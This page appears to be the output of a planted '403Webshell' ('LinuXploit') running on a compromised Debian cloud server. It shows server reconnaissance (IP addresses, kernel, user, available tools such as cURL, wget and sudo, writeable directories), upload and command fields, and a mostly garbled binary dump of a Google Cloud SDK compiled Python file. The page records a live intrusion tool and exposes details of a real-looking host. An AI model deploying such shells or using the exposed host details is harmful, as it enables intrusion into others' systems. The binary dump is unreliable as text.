403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/hash.cpython-311.pyc
�

��{��$�dZddlmZddlmZddlmZddlZddlZddlmZddl	m
Z
ddl	mZdd	l	mZdd
l	m
Z
ddl	mZddl	mZdd
l	mZddlmZddlmZddlmZdZdZdZdZd�Zd�Zd�ZejGd�dej����Z dS)zAImplementation of hash command for getting formatted file hashes.�)�absolute_import)�division)�unicode_literalsN)�base)�encryption_util)�errors)�fast_crc32c_util)�flags)�	hash_util)�storage_url)�wildcard_iterator)�resource_reference)�crc32c)�log�
digest_format�crc32c_hash�md5_hash�urlc���|�dStjtj|�d���d�������d��S)z@Converts base64 hash digest to hex-formatted hash digest string.Nz
"'zutf-8)�binascii�hexlify�base64�	b64decode�strip�encode�decode)�
base64_strings �lib/surface/storage/hash.py�_convert_base64_to_hexr*s]�����4�	�	���
�
�
�g�
&�
&�
-�
-�g�
6�
6�8�8�
9�
9�9?�����I�c�N�t|tjtjf��S�N)�
isinstancer�ObjectResource�FileObjectResource)�resources r�_is_object_or_file_resourcer'3s+��	�H�1�@�1�D�F�
G�
G�Gr c#�&K�d}|D]�}tj|dd���}d}|D]�}t|��r	dx}}|V��t|jtj��rs|j���rZtj|j�d��jd���}|D]$}t|tj
��rdx}}|V��%��|s'tjd�
|������|stjd���dS)	z8Wildcard matches and recurses into top-level of buckets.FT)�error_on_missing_key�fetch_encrypted_object_hashes�*)r)zNo matches found for {}zNo URLS matched.N)r
�get_wildcard_iteratorr'r#r�CloudUrl�	is_bucket�join�
url_stringrr$r�warning�formatr�InvalidUrlError)�url_strings�any_url_matchedr0�wildcard_expanded_iterator�this_url_matched�wildcard_expanded_resource�bucket_expanded_iterator�bucket_expanded_resources        r�_get_resource_iteratorr;8s}�����/��@�@�j�!2�!H��"�&*�",�",�",����&@�+�+�"�	$�%?�	@�	@�
+�-1�1��*�(�(�(�(�(��1�=�"�+�
-�
-�
+�&�2�<�<�>�>�
+�$5�#J�&�2�7�7��<�<�G�!&�$(�$(�$(� �)A�	+�	+�$�
�0�+�:�=�=�+�15�5�O�.�*�*�*�*����@�	�k�+�2�2�:�>�>�?�?�?��	�5�
�
 �!3�
4�
4�4�5�5r c�8�eZdZdZddd�Zed���Zd�ZdS)�Hashz*Calculates hashes on local or cloud files.ad
      Calculates hashes on local or cloud files that can be used to compare with
      "gcloud storage ls -L" output. If a specific hash option is not provided,
      this command calculates all gcloud storage-supported hashes for the file.

      Note that gcloud storage automatically performs hash validation when
      uploading or downloading files, so this command is only needed if you want
      to write a script that separately checks the hash for some reason.

      If you calculate a CRC32C hash for the file without a precompiled
      google-crc32c installation, hashing will be very slow.
      a

      To get the MD5 and CRC32C hash digest of a cloud object in Base64 format:

        $ {command} gs://bucket/object

      To get just the MD5 hash digest of a local object in hex format:

        $ {command} /dir/object.txt --skip-crc32c --hex
      )�DESCRIPTION�EXAMPLESc�F�|�ddd���|�ddd���|�d	�
��}|�ddd���|�d
dd���tj|d	���tj|��dS)N�urls�+z'Local or cloud URLs of objects to hash.)�nargs�helpz--hex�
store_truezOOutput hash digests in hex format. By default, digests are displayed in base64.)�actionrDT)�mutexz
--skip-crc32cz@Skip CRC32C hash calculation. Useful if command is running slow.z
--skip-md5z=Skip MD5 hash calculation. Useful if command is running slow.)�command_only_reads_data)�add_argument�	add_groupr
�add_encryption_flags�add_additional_headers_flag)�parser�skip_flags_groups  r�Argsz	Hash.Argsus���
����c� I��K�K�K�
����� ��!�!�!�
�'�'�d�'�3�3���!�!���
O�"�Q�Q�Q��!�!���
L�"�N�N�N�
��v�t�D�D�D�D�	�%�f�-�-�-�-�-r c#� K�tj|��tj|��|jsNtj��rd}ntjrd}nd}tj
d�|����|jr
d}t}d�}nd}d�}tj}t!|j��D�]S}t$|i}t'|t(j��r�|j�/|j�(tjd	�|�����\|jj|t6<|js||j��|t8<|js||j��|t<<n�|jj|t6<|js?|tj |jjtj!j"����|t8<|js?|tj |jjtj!j#����|t<<|V���UdS)
Nzgcloud-crc32c (Go binary)zgoogle-crc32c (Python binary)z(crcmod (slow pure Python implementation)zCRC32C implementation: {}�hexc�*�|���Sr")�	hexdigest��xs r�<lambda>zHash.Run.<locals>.<lambda>�s��!�+�+�-�-�r rc��|Sr"�rTs rrVzHash.Run.<locals>.<lambda>�s��a�r zNo hashes found for {})$r�RequireProjectIDr�initialize_key_store�skip_crc32cr	�should_use_gcloud_crc32cr�IS_FAST_GOOGLE_CRC32C_AVAILABLEr�infor2rQrr�get_base64_hash_digest_stringr;rA�_DIGEST_FORMAT_KEYr#rr$rrr1r�versionless_url_string�_URL_KEY�_CRC32C_HASH_KEY�skip_md5�
_MD5_HASH_KEY�object_name�get_hash_from_file�
HashAlgorithm�CRC32C�MD5)�self�args�crc32c_implementation�hash_format�format_cloud_digest�format_file_hash_objectr&�output_dicts        r�RunzHash.Run�sC������$�����(��.�.�.���J�	�	2�	4�	4�K� ;����1�K� ?��� J��	�h�*�1�1�2G�H�H�I�I�I��x�H��k�2�� 7� 7����k�'�K�� )� G��*�4�9�5�5����
�k��k�
�H�0�?�	@�	@����'�H�,=�,E�

�+�.�5�5�h�?�?�
@�
@�
@�
� (� 4� K��H����	$�*=�*=��"�+$�+$�+�&�
'��}�	N�':�':�8�;L�'M�'M�+�m�
$�� (� 4� @��H����	�*A�*A��*��&�2��)�0���+�+�+�&�
'��}�	�'>�'>��*��&�2�I�4K�4O���(�(�+�m�
$�

�����;�r N)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodrOrrrXr rr=r=VsZ������2�2�
�	
���-�6�.�.��<�.�*3�3�3�3�3r r=)!rv�
__future__rrrrr�googlecloudsdk.callioper�"googlecloudsdk.command_lib.storagerrr	r
rrr
�,googlecloudsdk.command_lib.storage.resourcesr�googlecloudsdk.command_lib.utilr�googlecloudsdk.corerr`rcrerbrr'r;�UniverseCompatible�Commandr=rXr r�<module>r�s���H�G�&�&�&�&�&�&�������'�'�'�'�'�'�
�
�
�
�����(�(�(�(�(�(�>�>�>�>�>�>�5�5�5�5�5�5�?�?�?�?�?�?�4�4�4�4�4�4�8�8�8�8�8�8�:�:�:�:�:�:�@�@�@�@�@�@�K�K�K�K�K�K�2�2�2�2�2�2�#�#�#�#�#�#�$�� ���
���I�I�I�G�G�G�
5�5�5�<��g�g�g�g�g�4�<�g�g���g�g�gr 

Youez - 2016 - github.com/yon3zu
LinuXploit